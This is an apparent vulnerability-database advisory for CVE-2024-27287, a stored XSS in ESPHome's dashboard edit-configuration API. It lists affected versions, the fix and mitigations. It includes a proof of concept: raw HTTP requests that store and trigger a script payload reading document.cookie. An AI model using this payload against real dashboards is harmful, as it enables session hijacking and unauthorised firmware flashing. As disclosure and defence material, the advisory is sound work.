CVE-2024-27287 is a medium-severity (CVSS 6.5) Cross-site Scripting (XSS) vulnerability in esphome. A fix is available for esphome — see the affected versions and patch details below.
ESPHome vulnerable to stored Cross-site Scripting in edit configuration file API
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-27287.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
esphomeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Edit configuration file API in dashboard component of ESPHome version 2023.12.9 (command line installation and Home Assistant add-on) serves unsanitized data with “Content-Type: text/html; charset=UTF-8”, allowing remote authenticated user to inject arbitrary web script and exfiltrate session cookies via Cross-Site scripting (XSS).
Credits
Spike Reply Cybersecurity Teams
Details
It is possible for a malicious authenticated user to inject arbitrary Javascript in configuration files using a POST request to the /edit endpoint, the configuration parameter allows to specify the file to write.
To trigger the XSS vulnerability, the victim must visit the page /edit?configuration=[xss file].
PoC
To reproduce the issue, it is possible to perform a POST request to inject the payload:
request: POST /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=[replace with valid cookie] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 40
<script>alert(document.cookie);</script>response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:02:27 GMT Content-Length: 0 Connection: close
And subsequently trigger the XSS with a GET request to the same endpoint:
request: GET /edit?configuration=xss.yaml HTTP/1.1 Host: localhost:6052 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://localhost:6052/ Connection: close Cookie: authenticated=2|1:0|10:1701341719|13:authenticated|4:eWVz|0907127d7274094cc5a2490b95becf5c11fd52b8c3ee3655d65fe9fda099108c Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Length: 0
response: HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Thu, 30 Nov 2023 11:04:12 GMT Etag: "ec6c9889f5c9a6c8e9d2d5e4ce1b1a85e6e7da2b" Content-Length: 40 Connection: close
<script>alert(document.cookie);</script>Impact
Abusing this vulnerability a malicious actor could perform operations on the dashboard on the behalf of a logged user, access sensitive information, create, edit and delete configuration files and flash firmware on managed boards. In addition to this, cookies are not correctly secured, allowing the exfiltration of session cookie values.
Credits
Spike Reply Cybersecurity Team
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | esphome | ≥ 2023.12.9&&< 2024.2.2 | 2024.2.2pip install --upgrade 'esphome==2024.2.2' |
Affected Products
esphomeesphomeDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for esphome, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update esphome to 2024.2.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-27287 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2024-27287 in your dependencies?
Find it across PyPI, including transitive dependencies.